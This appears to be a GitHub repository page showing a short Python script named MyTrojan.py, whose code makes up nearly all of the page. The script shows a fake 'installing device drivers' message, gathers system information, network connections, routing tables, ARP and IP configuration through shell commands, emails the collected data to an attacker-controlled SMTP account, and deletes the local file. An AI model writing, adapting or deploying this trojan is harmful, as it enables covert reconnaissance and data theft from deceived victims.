-
Notifications
You must be signed in to change notification settings - Fork 6
/
MyTrojan.py
44 lines (31 loc) · 894 Bytes
/
MyTrojan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import smtplib
import requests
print("Installing device drivers please wait... ")
url = "https://www.google.com"
try:
url = requests.get(url)
if url.status_code != 200:
exit()
except Exception:
exit()
file = "USB.txt"
def cmd(str):
os.system(str)
def mailer(file):
with open(file, "r") as f:
read = f.read()
server = smtplib.SMTP("__smtp", 587)
server.ehlo()
server.starttls()
server.login("__mail", "__password")
server.sendmail("__mail", "__mail", read)
cmd("systeminfo > /dev/null >> USB.txt")
cmd("netstat -n > /dev/null >> USB.txt")
cmd("netstat -a > /dev/null >> USB.txt")
cmd("netstat -r > /dev/null >> USB.txt")
cmd("netstat -s > /dev/null >> USB.txt")
cmd("arp -a > /dev/null >> USB.txt")
cmd("ipconfig > /dev/null >> USB.txt")
mailer(file)
os.remove("USB.txt")